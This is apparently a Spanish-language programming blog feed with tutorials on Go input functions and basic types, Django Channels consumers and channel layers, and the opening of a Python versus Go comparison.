El código anterior hace solo dos cosas: guardar el texto que escribimos en la consola en la variable mensaje y, posteriormente, imprimirlo en pantalla.

Scanf

Scanf es como Scan, pero para guardar múltiples argumentos, separados por espacios.

Mira como primero creamos las tres variables, para después, como primer argumento para Scanf pasarle el orden en el que recibirá los argumentos como un tipo de dato, separados por espacio y al final la dirección de las variables a las cuales los tiene que asignar.

var (
		nombre   string
		apellido string
		telefono int
	)
        // nombre apellido telefono
	fmt.Scanf("%s %s %d", &nombre, &apellido, &telefono)
	fmt.Printf("Nombre: %s, Apellido: %s, telefono: %d", nombre, apellido, telefono)

Aprecia como le indicamos la separación de cada argumento por medio de un espacio.

Manejando errores en Scanf y Scan

Scanf y Scan, además de guardar texto en variables, también retornan el número de argumentos asignados y, solo en caso de que ocurra, un mensaje de error.

var (
		nombre     string
		apellido   string
		telefono   int
		argumentos int
		err        error
	)
	argumentos, err = fmt.Scanf("%s %s %d", &nombre, &apellido, &telefono)
	if err != nil {
		fmt.Printf("Error: %s", err)
	} else {
		fmt.Printf("Todo bien, recibimos %d argumentos: %s, %s, %d", argumentos, nombre, apellido, telefono)
	}

Mira lo que pasa si intentamos pasarle un argumento de un tipo incorrecto.

La primera vez que se ejecuta la función todo sale bien y ocurre con normalidad, pero la segunda vez nos devuelve un error porque estamos intentando pasarle a Scanf un argumento de tipo string, y está esperando uno de tipo int.

Si quieres ver el resto de funciones que tiene este paquete go para ofrecer, revisa la documentación oficial del paquete fmt.

Go lenguaje de programación introducción a variables y tipos de datos

Tue, 23 Nov 2021 00:00:00 +0000

Go, también conocido como Golang, es un lenguaje de programación compilado desarrollado por Google con el propósito de ser simple, sencillo de aprender, suficientemente rápido y centrado fuertemente en la concurrencia.

Go es usado en proyectos tan colosales como el compilador de Typescript

Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Qué es Go? Un poco sobre el lenguaje de programación

Go, también llamado Golang, es un lenguaje de programación con una sintaxis muy parecida a la de C y con ciertas abstracciones en su sintaxis que lo vuelven un lenguaje en el que escribir código es muy sencillo, la verdad es que la sensación es de una mezcla entre C y Python.

El diseño de Go como lenguaje de programación está basado en un documento llamado: Everything you’ve wanted to know about programming languages but have been afraid to ask escrito por Tony Hoare (El creador del argumento quicksort). En el que se enfatiza la importancia de aspectos tales como:

Elegancia y simplicidad
Buenas abstracciones que oculten los detalles de implementación
Código predecible
Manejo de errores simple
Compilación extremadamente rápida

Estamos ante un lenguaje compilado, imperativo, fuertemente centrado en la concurrencia y con tipado estático.

Si de verdad te interesa el tema, encontré este video que resume bastante bien la historia y la filosofía que existe detrás de Go y te lo comparto:

Aspectos geniales o ventajas del lenguaje Go

El lenguaje es bastante simple Es un lenguaje con muy pocas palabras clave y pocas funcionalidades. Puedes aprenderlo en muy poco tiempo.
El compilador de Go es super rápido Dado que tiene pocas palabras claves y el lenguaje es bastante simple, go compila rapidísimo comparado con otros lenguajes de programación.
El manejo de concurrencia es sencillo Go fue diseñado como un lenguaje concurrente, crear concurrencia con las goroutines es bastante sencillo
Crear aplicaciones web es bastante sencillo Go incorpora en su librería estandar muchísimas utilidades para crear servidores web, por lo que incluso puedes usarlo sin usar ningún framework, para aplicaciones sencillas, y no tendrás ningún problema. Definitivamente un lenguaje to get shit done

Mal diseño y desventajas del lenguaje Go

Para hacer este análisis lo más objetivo posible, a continuación, te explico algunos aspectos controversiales de go que no son vistos con buenos ojos por algunos desarrolladores.

Este patrón es bastante recurrente en las aplicaciones y llega a ser tedioso

Go carece de soporte para clases de manera directa. Pero no todo está perdido, porque sí cuenta con ciertas características que lo dotan de funcionalidades de la POO, tales como polimorfismo y clases, por medio de interfaces, structs y embedded values .
Go no cuenta con manejo de excepciones con bloques try y catch o equivalentes. Sino que los errores deben devolverse como valor de retorno en una función y se manejan comprobando que esta no sea nula (nil), por medio de bloques if. Lo anterior puede volverse bastante verboso y repetitivo.

If err!= nil en todos lados, el manejo de errores en Go debería ser mejor

No existen argumentos por defecto en go, lo que aumenta la cantidad de código a escribir para lidiar con valores predeterminados.
No cuenta con manejo manual de memoria, go usa un garbage collector, lo cual simplifica el manejo de memoria enormemente, pero limita la administración más granular de memoria, esta fue una de las razones por las cuales discord migró de Go a Rust.
~~Go no cuenta con generics~~ Go ya cuenta con soporte para generics desde su version 1.18.

Buenas prácticas de código en el lenguaje Go

Go está fuertemente orientado a las buenas prácticas de código. ¿Cómo lo hace? El compilador fuerza buenas prácticas en el código, impidiendo que el código compile si hay variables o importaciones que no se usan, o si no se respetan las reglas de la privacidad de nuestras propiedades y funciones, entre otras.

La compilación no se permite si hay variables sin usar.

Sin embargo no te obliga a revisar punteros hacia nil, volviéndo estos los errores más difíciles de debuggear, por lo cual yo lo considero una parte débil del lenguaje.

Go tiene la mejor mascota: Gopher

La mascota oficial es una ardilla de tierra y es muy común entre la comunidad usarla para ilustrar el contenido relacionado con go. Este Sartre en versión roedor azul es tan popular entre los desarrolladores que existen herramientas, como Gopherizme , para crear avatares personalizados. El impacto de la mascota es tal, que muchos desarrolladores la usan a manera de logo, aunque el logo oficial de go ya ha sido definido.

A la izquierda la mascota de Go. A la derecha el logo oficial

Instalación de Go

Go se encuentra en la mayoría de los repositorios de las distribuciones de GNU/Linux. En debian y ubuntu se instala usando el comando apt install como cualquier otro paquete.

sudo apt install golang

Las instrucciones de instalación para Freebsd, windows y macosx serán diferentes.

Estructura de un archivo de go

Los archivos de go se estructuran de la siguiente manera y en este orden:

Nombre del paquete

Una sección donde se declara el nombre del paquete después de la palabra package. El nombre del paquete nos servirá para hacer importaciones de nuestros modulos.

package main

Importaciones

Una sección donde se importan todos los paquetes de go que se usarán. Para ello usamos la palabra import.

import “fmt”

Múltiples importaciones pueden colocarse dentro de paréntesis, sin comas.

import (
    "strconv"
    "fmt"
)

Contenido

El contenido del archivo, es decir declaraciones de variables, types, funciones , constantes, etc.

func main() {
    fmt.Println("Hello world!")
}

El paquete main

Go requiere de un paquete principal llamado main, que se especificará colocando package main al principio de nuestro código fuente.

package main

La función main

La función main es el punto de partida de un archivo de go, como lo sería en C, y no retorna nada.

package main

import "fmt"

func main() {
    fmt.Println("Ejecutando el programa")
}

Función init en Go

Antes del punto de entrada del programa (la función main) se ejecuta una función init, esta puede contener todas las inicializaciones necesarias para la ejecución del programa.

package main

import "fmt"

func init() {
    fmt.Println("Inicializando el programa principal")
}

func main() {
    fmt.Println("Ejecutando el programa")
}

Como compilar y ejecutar un archivo de go

Dado que go es un lenguaje compilado, requiere la compilación del código antes de poder ejecutar el código. El compilado se realiza con el comando build.

go build src/main.go

Tras el compilado tendremos un archivo que podremos ejecutar.

./main

También es posible compilar y correr el código en un solo paso usando run en lugar de go.

go run src/main.go

Diferencias entre run y build en el lenguaje Go

La diferencia entre build y run radica en que run compila el código y lo ejecuta desde un directorio temporal, y posteriormente limpia los archivos generados. Si agregamos el flag –work, podremos ver la ubicación de este directorio.

go run --work src/main.go
# WORK=/tmp/go-build983014220

Tipos primitivos de datos en Go

Dado que estamos tratando con un lenguaje compilado, necesitamos decirle al compilador el tipo de dato que usaremos para cada variable o constante.

Los valores primitivos de Go son los siguientes.

Entero

Para valores enteros con o sin signo.

int, se asigna de acuerdo al SO (32 o 64 bits)
int8,
int16
int32
int64

Entero sin signo

Para valores sin signo, es decir, positivos.

uint, se asigna de acuerdo al SO (32 o 64 bits)
uint8
uint16
uint32
uint64

Decimal

Para números decimales

float32
float64

Textos

Para textos existe únicamente string

Boolean

Para valores true or false

Números complejos

Permite manejar números reales e imaginarios:

Complex64
Complex128

Por ejemplo: c:=100+2i

Variables, constantes y zero values en el lenguaje Go

Variables

Go permite definir variables especificando el tipo de dato y la keyword var. Es como si a una declaración de variable de Javascript le agregaras el tipo de dato.

var gravedad int8

La asignación de variables puede realizarse en un solo paso de la siguiente manera:

var gravedad int = 123

También es posible dejar que el compilador intuya el tipo de dato con el operador walrus (marmota). Este tipo de asignación solo es posible dentro del scope de una función.

gravedad := 123

En go no puedes asignar una variable al valor nulo; nil.

var gravedad = nil // error

Constantes

Con las constantes funciona de manera similar, pero se caracterizan porque no pueden modificarse. Se usa la keyword const.

Es necesario asignar un valor a una constante al momento de declararla.

const gravedad int8 = 123

Si no especificamos un tipo de constante el compilador intentará intuirlo.

const pi = 3.14159

Zero values

En go, si no asignamos un valor el compilador usará valores predeterminados para cada tipo de dato.

int: 0
float: 0
string: "
bool: false

Valor nulo

Go usa la palabra reservada nil para referirse a un valor nulo.

Comentarios

Los comentarios se marcan usando dos diagonales seguidas

// Este es un comentario en go

Los comentarios multilinea se realizan con una diagonal seguida de asterisco

/*
Este es un comentario multilinea
*/

Operadores en go

Los operadores de go son similares al resto de los lenguajes.

+, suma
-, resta
*, multiplicación
/, división
<, menor que
<=, menor o igual que
>, mayor que
>=, mayor o igual que
%, el módulo o residuo
!=, inequivalencia
==, igualdad
!, negación
&&, operador AND
||, operador OR
++, incremental
--, decremental

Con esto termino la parte más básica del lenguaje Go. Espero que tengas una visión más completa del lenguaje, tanto de las partes buenas como de las partes malas. Y si quieres aprender lo básico puedes leer las siguientes entradas, tengo tutoriales básicamente de todas las partes básicas de Go.

Django channels: channel layers, grupos y usuarios

Tue, 16 Nov 2021 00:00:00 +0000

Los channel layers te permiten interactuar y compartir información con diferentes consumers en django channels. Lo que permite a cada consumer comunicarse con el resto. Por ejemplo, cuando en un chat un usuario envía un mensaje, todos pueden leer el mensaje, cuando un usuario abandona una sala, todos pueden saber que la abandonó. Con esta capacidad es posible crear una aplicación distribuida en la que se comparta información entre los diferentes usuarios.

Si no sabes que es Django channels, te recomiendo que le des una leída a mi entrada anterior, donde te explico las partes básicas de django channels: consumers, scope y eventos.

Configurar un channel layer

No basta con que una instancia puedan acceder a la información de todas las otras instancias.

¿Qué pasa si queremos que solo algunas instancias accedan a la información y otras no?

Justo como sucede en un chat, no deseas que todos los chats existentes reciban tus mensajes, ni tampoco esperas recibir los mensajes de todos los chats, solo aquellos en los que participas.

Para manejar esta información en común necesitamos un channel layer (una característica opcional de django channels), y grupos de channels o consumers. De esta manera nos encargaremos de que cada instancia de un channel, o sea un consumer, pueda comunicarse con otros channels, pero no con todos, solo con los del grupo que especifiquemos.

Channel layers en desarrollo

Para usar un channel layer en desarrollo necesitamos añadir una configuración extra a nuestro archivo de configuración y modificar nuestro objeto consumer. Está configuración de abajo le dice a Django que maneje el channel layer en memoria y es perfecto para hacer pruebas en desarrollo.

# mychannels/settings.py
CHANNEL_LAYERS = {
    "default": {
        "BACKEND": "channels.layers.InMemoryChannelLayer"
    }
}

Channel layers en producción

La configuración anterior no es para producción. Para producción necesitamos instalar redis y el paquete channels-redis . Te hablé un poco de redis cuando expliqué como crear un historial de productos visitados con django y redis

sudo apt install redis
pip install channel-redis

Si se instaló bien tendremos a redis corriendo en el puerto 6379.

Ahora accederemos directamente a la aplicación de redis por medio de su puerto predeterminado.

# mychannels/settings.py
CHANNEL_LAYERS = {
    "default": {
        "BACKEND": "channels_redis.core.RedisChannelLayer",
        "CONFIG": {
            "hosts": [("127.0.0.1", 6379)],
        },
    },
}

Broadcasting con un channel o consumer

Tras agregar la configuración anterior, toca modificar nuestro consumer para que envíe mensajes al resto de conexiones. En la entrada anterior te expliqué que cada consumer tiene las propiedades channel_layer y channel_name, que se refieren al channel layer al que pertenecen y su propio nombre, respectivamente. Usaremos esas propiedades para obtener el channel layer al que pertenece y su nombre.

Nuestro consumer seguirá manteniendo sus tres funciones principales: connect, disconnect y receive, pero con funcionalidad añadida.

Proceso mediante el cual un channel o consumer se une a un group.

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer
from asgiref.sync import async_to_sync


class ChatConsumer(WebsocketConsumer):

    def connect(self):
        async_to_sync(self.channel_layer.group_add)("chat", self.channel_name)
        self.accept()

    def disconnect(self, close_code):
        async_to_sync(self.channel_layer.group_discard)("chat", self.channel_name)

    def receive(self, text_data):
            async_to_sync(self.channel_layer.group_send)(
                "chat",
                {
                    "type": "chat.message",
                    "text": text_data,
                },
            )

    def chat_message(self, event):
        self.send(text_data=event["text"])

Los cambios que hicimos fueron los siguientes:

Importamos la función async_to_sync, que nos permite ejecutar código asíncrono de manera sincrona.
Usamos el método group_add para añadir un canal (recuerda que un consumer es una representación de un channel o canal) a un determinado grupo. O sea, añadir el canal/consumer actual al grupo llamado “chat”. En la imagen de arriba viene mejor explicado.
En el caso de que un usuario se desconecte, lo removemos del grupo “chat” con group_discard
Ahora, cada que ves que recibamos un mensaje en un consumer, este llamará al método group_send del channel layer al que pertenece, el cual se encargará de enviar los datos, en forma de diccionario, de manera automática a todos los integrantes activos del grupo “chat”.
La llave type, le dirá al consumer que método utilizar. La sintaxis es reemplazar el punto por un guión bajo. Es decir que el type chat.message ejecutará el método chat_message de cada consumer que lo reciba.

Channel layer mandando información al grupo “chat” con su método group_send

Manejando websockets en HTML

Para simplificar la conexión con el websocket en el navegador, voy a tomar el código Javascript necesario para enviar un mensaje y lo voy a colocar en una plantilla HTML súper simple que residirá en templates/index.html. Créala si no la tienes.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<script>
    // Se crea la conexión por websocket
    const chatSocket = new WebSocket(
            'ws://'
            + window.location.host
            + '/ws/django/chat/'
        );
    // Cada que se recibe un mensaje se lee y se imprime en pantalla
    chatSocket.onmessage = function(e) {
            const data = JSON.parse(e.data);
            console.log(data)
        }
    // Envia el texto "nuestro mensaje"
    function sendMessage() {
        let message = "nuestro mensaje"
        chatSocket.send(JSON.stringify({
            'message': message
        }));
    }
</script>
<body>
    <button onclick=sendMessage()>Enviar</button>
</body>
</html>

El código es prácticamente el mismo de la entrada anterior, solo he añadido el envío del mensaje a una función que se ejecutará cuando presionemos el botón.

En nuestro archivo de views.py de la app chat creamos la vista que se encarga de renderizar la plantilla

# chat/views.py
from django.shortcuts import render

def useless_chat(request):
    return render(request, "index.html")

Y no olvidemos añadir esta vista a las urls de nuestro proyecto.

# mychannels/settings.py
from django.urls import path
from chat.views import useless_chat

urlpatterns = [
    path('admin/', admin.site.urls),
    path('chat/', useless_chat)
]

¡Listo! Ahora viene lo interesante… si abres dos ventanas se crearán dos consumers y cada que un consumer envíe un mensaje, este se recibirá en la app de Django y self.channel_layer.group_send lo enviará al resto de los consumers, cuando lo reciban, cada consumer ejecutará su método chat_message, el cual le enviará el texto que fue mandado.

Observa como ambas pestañas reciben los mensajes enviados

Usuarios en django channels

¿Y los usuarios? Hasta ahora hemos manejado usuarios anónimos. Entérate de que la autenticación es bastante simple en django channels. Para incorporarla envolvemos nuestra aplicación en el middleware AuthMiddlewareStack, django se encargará de manejar el objeto session, como siempre.

# mychannels/asgi.py
import os

from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.core.asgi import get_asgi_application
import chat.routing

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mychannels.settings")

application = ProtocolTypeRouter({
  "http": get_asgi_application(),
  "websocket": AuthMiddlewareStack(
        URLRouter(
            chat.routing.websocket_urlpatterns
        )
    ),
})

Con este middleware tendremos acceso al objeto user a través del scope en:

 #chat/consumers.py
class ChatConsumer(WebsocketConsumer):

    def connect(self):
        async_to_sync(self.channel_layer.group_add)("chat", self.channel_name)
        self.accept()
        self.user = self.scope["user"]
        self.send(text_data=json.dumps({"message": "Se ha conectado %s" % (self.user.username)}))

Si tienes un usuario loggeado verás algo como esto al iniciar una conexión:

Y si no te encuentras loggeado verás un string vacío, que corresponde a un usuario anónimo.

Django channels también nos provee de funciones para hacer login y logout a nuestros usuarios, solo recuerda que la función login no autentica un usuario, solo lo loggea, por lo que las comprobaciones corren por tu cuenta.

#chat/consumers.py
from asgiref.sync import async_to_sync
from channels.auth import login, logout, get_user

class ChatConsumer(WebsocketConsumer):

    ...

    def receive(self, text_data):
        ...
        async_to_sync(login)(self.scope, user)
        # La sesión se modifica con el login
        # Pero es necesario guardar la sesión 
        self.scope["session"].save()

    def disconnect(self, close_code):
        async_to_sync(logout)(self.scope)(

Ahora puedes complicar el envío de información para que se comporte de la manera en la que tu quieres, como crear diferentes salas o condicionar el envío de mensajes a un grupo restringido de usuarios, o solo a uno de ellos.

Tips para producción de django-channels

Antes de hacer deploy de una aplicación que involucre channels te voy a platicar de las múltiples cosas que pueden salir mal y como prevenirlas.

django.core.exceptions.AppRegistryNotReady: Apps aren’t loaded yet

Si estás usando uvicorn y una aplicación asgi, esto se debe a que django intenta usar aplicaciones que aún no han sido cargadas. Para prevenir el error carga manualmente la aplicación por ti mismo antes de importar cualquier otra app.

En este caso particular, el orden de las importaciones SÍ importa.

from django.conf import settings
from django.core.asgi import get_asgi_application

current_settings = (
    "app.settings" if settings.DEBUG else "app.dev_settings"
)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", current_settings)
django_asgi_app = get_asgi_application()

# el resto de tus imports van acá
# import app...

#...
application = ProtocolTypeRouter(
    {
        "http": django_asgi_app,
        # ...
}

Asegúrate de tener las librerías de websocket instaladas

Si vas a trabajar con websockets, asegúrate de tener todas las librerías requeridas instaladas, uvicorn nos provee de estas librerías si instalamos su versión estándar.

pip install uvicorn[standard]

De otra manera tendremos el error [WARNING] No supported WebSocket library detected.

Asegúrate de usar el protocolo de websocket correcto

El error puede manifestarse de varias formas, una de ellas es esta deploys failing due to “unhealthy allocations”

Si intentas comunicarte con un protocolo inseguro a uno inseguro obtendrás un error.

// Te toca definir la variable/funcion de manera dynamica
if(serving_using_https){
    ws_url = 'wss://...'
}
else{
    ws_url = 'ws://...'
}

Django channels: consumers, scope y eventos

Tue, 09 Nov 2021 00:00:00 +0000

¿Por qué deberías usar Django channels? Porque con Django es imposible crear aplicaciones con comunicación en tiempo real de manera nativa. Django channels le otorga a Django la capacidad manejar protocolos que requieren una conexión persistente, como WebSockets, MQTT, chatbots, mientras mantiene intacta su integración con el sistema de sesiones, autenticación y el resto del framework, volviendo a Django una excelente alternativa para aplicaciones que requieren interactividad y comunicación en tiempo real.

Django channels coloca una capa intermedia que se encarga de procesar las peticiones http a las vistas de django y las conexiones websocket a un consumer http o un consumer websocket.

¿Qué es un channel y un websocket?

Te recomiendo que si no tienes idea de websockets y canales le des una leída a estos dos conceptos pues los usaré a lo largo de esta entrada y la siguiente.

Si tienes prisa puedes conformarte con estas definiciones que pecan de simplistas e incompletas:

Un websocket es una conexión persistente que existe entre el navegador de un usuario y un servidor web.

Un canal o channel es un modelo que permite que varios procesos se comuniquen entre sí por medio de la transmisión de mensajes. django-channels debe su nombre a este concepto y el concepto es bastante similar al que te encontrarías en lenguajes de programación como Go .

Django channels requiere ASGI

Django channels requiere que pasemos de un servidor WSGI a un ASGI, para manejar su naturaleza asíncrona.

Si no sabes que significa ASGI, quédate con la idea de que es una interfaz para que Python interactúe con servidores web de manera asíncrona.

Cada vez que un usuario nuevo inicie una petición se creará una “aplicación” de ASGI que manejaremos , esta conexión, a diferencia de una petición HTTP normal, esta es persistente.

Instalación de django channels

Primero instalamos channels directo desde nuestro gestor de paquetes favorito, yo usaré pipenv y la versión más actual a la fecha de este artículo.

pip install channels["daphne"]

Lo agregamos a nuestras aplicaciones instaladas.

Daphne debe estar hasta arriba de todas las aplicaciones, debido a que toma control del comando runserver para inicializar la aplicación.

INSTALLED_APPS = (
    'daphne',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.sites',
    ...
    'channels',
)

En nuestra carpeta de proyecto se crea un archivo asgi.py cuando corremos django-admin startproject. Este archivo es la “puerta” por la que interactúa un servidor con nuestro código Python. Es necesario que lo modifiquemos para indicarle a django como debe manejar cada protocolo.

Mi aplicación se llama “mychannels” pero reemplaza el nombre por el de la tuya.

 # mychannels/asgi.py
import os

from channels.routing import ProtocolTypeRouter
from django.core.asgi import get_asgi_application

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mychannels.settings')

application = ProtocolTypeRouter({
    "http": get_asgi_application(),
    # Ahora mismo solo tiene el protocolo http, el que usamos normalmente
})

Ahora necesitamos indicarle a django que usaremos una aplicación ASGI. Este paso conseguirá que nuestra aplicación envuelva al comando runserver que provee django.

# mychannels/settings.py
ASGI_APPLICATION = "mychannels.asgi.application"

Ahora, crearemos una aplicación llamada chat.

django-admin startapp chat

Y la añadiremos a nuestras apps instaladas.

INSTALLED_APPS = (
    ...
    'chat',
    'channels',
)

En esta app radicarán los encargados de manejar las conexiones websocket que crearemos.

Manejando conexiones ws con un consumer

¿Qué es un consumer? Un consumer es una abstracción de un canal o channel en forma de clase, esta clase implementa métodos que se encargarán de manejar los eventos de nuestros usuarios. Además existen consumers síncronos y asíncronos que manejan el código de bajo nivel en Python por ti.

¿Qué eventos puede manejar un consumer?

Los eventos son las acciones que realizarán nuestros usuarios, como conectarse, desconectarse o mandar información al websocket y el consumer responderá a estos. Además de estos eventos podemos crear eventos personalizados (no te preocupes por eso ahora) y asignarlos a funciones.

El web socket manda información con el método send, el consumer la recibe con su método receive, y posteriormente manda una respuesta con send, que el websocket procesará con onmessage

Hay consumers para colas, websockets, síncronos, etc.

AsyncWebsocketConsumer
JsonWebsocketConsumer
AsyncJsonWebsocketConsumer
AsyncHttpConsumer

El tipo de consumer dependerá de la clase que herede.

Nosotros crearemos un consumer para websocket en nuestra aplicación chat.

Estructura de un consumer

Observa la estructura de un consumer, cada método se encargará de manejar un evento diferente.

Este de aquí hereda de WebsocketConsumer la cual posee los eventos connect, receive y disconnect, que se ejecutarán al iniciar de una conexión, recibir un mensaje o cerrar una desconexión, respectivamente.

Además cada consumer tiene las propiedades channel_layer y channel_name, que se refieren al channel_layer al que pertenecen y su propio nombre, respectivamente.

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer

class ChatConsumer(WebsocketConsumer):
    def connect(self):
        print("el usuario se ha conectado")
        # aceptamos la conexión
        self.accept()

    def disconnect(self, close_code):
        # Desonectamos al usuario
        print("el usuario se ha desconectado")

    # Receive message from WebSocket
    def receive(self, text_data):
        text_data_json = json.loads(text_data)
        message = text_data_json['message']

        self.send(text_data=json.dumps({
            'message': message
        }))

Te resumo lo que hace el consumer que acabamos de crear:

connect, se ejecuta cuando un usuario se conecte, accept aceptará la conexión
disconnect, se ejecuta cuando un usuario se desconecta, solo imprimirá en pantalla
receive, se ejecuta cuando un websocket envía información, para este ejemplo solo devolverá, al emisor, el texto enviado como un objeto JSON por medio del método send.

Scope y eventos

Django channels divide cada petición a un consumer en dos componentes: un scope y una serie de eventos.

El scope guarda información que contiene la petición web (muy parecido al objeto request) esta información le permite identificar cada conexión. Durante el tiempo de vida de la conexión, el usuario interactúa con esta, desencadenando eventos.

El scope está disponible en cada objeto consumer en su propiedad scope.

# chat/consumers.py
import json
from channels.generic.websocket import WebsocketConsumer

class ChatConsumer(WebsocketConsumer):
    def connect(self):
        print(self.scope)
        self.accept()

Si imprimimos el scope obtendremos un diccionario parecido a este

{
    'type': 'websocket',
    'path': '/ws/django/chat/',
    'raw_path': b '/ws/django/chat/',
    'headers': [(b 'host', b 'localhost:8000'), (b 'user-agent', b 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'), (
        b 'accept', b '*/*'), (b 'accept-language', b 'es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3'), (
        b 'accept-encoding', b 'gzip, deflate'), (b 'sec-websocket-version',
        b '13'), (b 'origin', b 'http://localhost:8000'), (b 'sec-websocket-extensions',
        b 'permessage-deflate'), (b 'sec-websocket-key', b 'D/aAHncl+Hh2FQrAOEI1dA=='), (
        b 'connection', b 'keep-alive, Upgrade'), (b 'cookie',
        b '_ga=GA1.1.2040703272.1635544065; mailChimpNewsletterShown=true'
    ), (b 'pragma', b 'no-cache'), (b 'cache-control', b 'no-cache'), (
        b 'upgrade', b 'websocket')],
    'query_string': b '',
    'client': ['127.0.0.1', 52024],
    'server': ['127.0.0.1', 8000],
    'subprotocols': [],
    'asgi': {
        'version': '3.0'
    },
    'cookies': {
    },
    'session': < django.utils.functional.LazyObject object at 0x7f4fad60c430 > ,
    'user': < channels.auth.UserLazyObject object at 0x7f4fad60cb50 > ,
    'path_remaining': '',
    'url_route': {
        'args': (),
        'kwargs': {}
    }
}

Por favor nota como nuestro diccionario cuenta con una propiedad session, una propiedad user, una cookies (para identificar al usuario) y otra con los args y kwargs de la url, la cual podremos usar para personalizar el comportamiento de nuestra app; obtener información de una base de datos, limitar el acceso a ciertos consumers o lo que querramos.

Enlazar un consumer con una url

Vamos a crear la url que enlazará a nuestros consumers con los websockets en un nuevo archivo llamado routing.py

# chat/routing.py
from django.urls import re_path

from . import consumers

websocket_urlpatterns = [
    re_path(r'ws/chat/$', consumers.ChatConsumer.as_asgi()),
]

Todas las conexiones a la url ws://localhost:8000/ws/chat/ crearán una instancia de nuestro ChatConsumer.

Posteriormente, modifiquemos el archivo asgi.py dentro de nuestro proyecto de manera que cada petición que se haga a un websocket sea redirigida a nuestro consumer.

# mychannels/asgi.py
import os

from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.core.asgi import get_asgi_application
import chat.routing

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mychannels.settings")

application = ProtocolTypeRouter({
  "http": get_asgi_application(),
  "websocket": AuthMiddlewareStack(
        URLRouter(
            chat.routing.websocket_urlpatterns
        )
    ),
})

ProtocolTypeRouter se encarga de leer el scope y asignar el tipo de petición al tipo respectivo de respuesta: http a una vista y websocket a un consumer.
URLRouter se encarga de decidir que url corresponde a cada consumer, justo como el objeto urlpatterns de Django
AuthMiddlewareStack se encarga de guardar los datos del usuario en el objeto session de Django.

Mandando información a través de un web socket con JS

Ahora, para probarlo, vamos a abrir la consola de nuestro navegador web en http://localhost:8000 y vamos a escribir el código Javascript para conectarnos a nuestra aplicación usando websockets.

Javascript nos provee de un objeto WebSocket para manejar las conexiones, le pasaremos la url ws://localhost:8000/ws/chat/ como parámetro para que sepa a donde tiene que conectarse.

const chatSocket = new WebSocket(
            'ws://'
            + window.location.host
            + '/ws/django/chat/'
        );

Ahora vamos a decirle al socket que tiene que hacer cada que reciba un nuevo mensaje. en este caso le pediremos que lea la información en formato JSON y que nos muestre la información recibida en la consola.

He agregado un console.log al evento para que veas todas las propiedades que tienes disponibles para usar en el frontend.

chatSocket.onmessage = function(e) {
            console.log(e)
            const data = JSON.parse(e.data);
            console.log(data)
}

Intentemos enviar un mensaje usando su método send.


let message = "nuestro mensaje"
chatSocket.send(JSON.stringify({
                'message': message
            }));

Si todo salió bien deberíamos obtener una respuesta con el mensaje que mandamos.

Manejando websockets en la consola de Javascript

Listo, ya podemos enviar mensajes por websocket a django y recibir una respuesta. Pero hasta ahora lo que hemos hecho es una aplicación interactiva bastante sencilla que manda y retorna texto usando el protocolo ws, ¿qué pasa si queremos aprovechar los channels al máximo para crear aplicaciones donde interactúen muchos usuarios? En la siguiente entrada hablaré del channel layer y los channel groups.

Python vs Go en 2025 ¿Qué lenguaje aprender?

Tue, 02 Nov 2021 00:00:00 +0000

Estos últimos meses he estado aprendiendo go. ¿Cómo empezó todo? Pues empezó de una manera bastante superficial; empecé a invesgar sobre el lenguaje porque me encantó su mascota, sí, de verdad fue por eso. Así que tras un breve debate mental sobre los pros y cons del lenguaje, decidí darle una oportunidad. Mi primera impresión de él es que es bastante similar a Python; simple y sencillo de aprender. Ahora que ya lo he usado un poco más te traigo una comparación de Python vs Go, donde explicaré algunas de sus diferencias, por si estás interesado en aprender uno u otro este año.

Por cierto, aquí están mis recursos y libros favoritos para aprender Python

TLDR Python vs lenguaje Go

Esta tabla resume el artículo completo, si quieres ahondar en alguna sección en especifico solo sigue haciendo scroll.

Categoría	Go (Golang)	Python
Tipo	Compilado, tipado fuerte	Interpretado, tipado dinámico
Rendimiento	Extremadamente rápido (ej. prueba de Fibonacci)	Más lento por ser interpretado
Sintaxis	Estilo C, usa llaves, no permite variables sin usar	Limpia, basada en indentación, flexible
Concurrencia	Goroutines (sencillas y potentes)	Async/await (monohilo, limitado por GIL)
Manejo de errores	Chequeo manual (`if err != nil`), sin try-catch	Bloques try-except tradicionales
POO	Sin clases; usa estructuras que emulan POO	Soporte completo de POO (clases, herencia)
Popularidad	En crecimiento, amado por devs (mejores salarios)	Más popular en general, dominante en IA/ciencia de datos
Casos de uso	DevOps (Docker, Kubernetes), backends rápidos	Machine learning, scripting, desarrollo web (Django, Flask)
Frameworks	Rápidos (Echo, Gin), supera a Python en benchmarks	Maduros (Django, FastAPI), ampliamente adoptados
Paquetes	~350k (GitHub), sin repositorio central	~336k (PyPI), ecosistema enorme
Curva de aprendizaje	Algo más empinada (diseño opinado)	Más fácil para principiantes
Comunidad	Pequeña pero apasionada	Enorme, recursos extensos
Ventajas	Compilación rápida, ideal para concurrencia, convenciones estrictas	Legible, versátil, librerías abundantes
Desventajas	Manejo de errores controversial, sin genéricos (inicialmente), rígido	Lento, GIL limita hilos, división Python 2/3

Conclusiones clave:

Elige Go para velocidad y rendimiento, concurrencia o DevOps.
Elige Python para IA, ciencia de datos o desarrollo rápido.
Ambos tienen librerías estándar sólidas pero difieren en filosofía y compensaciones.

Introducción y diferencias sutiles entre Python y Go

Esta comparación va a ser un poco chapucera, puesto que vamos a comparar; Python, un lenguaje interpretado; y go, un lenguaje compilado. Por lo que ya partimos de diferencias bastante grandes.

Python es un lenguaje interpretado e imperativo mientras que Go es un lenguaje compilado, concurrente e imperativo.

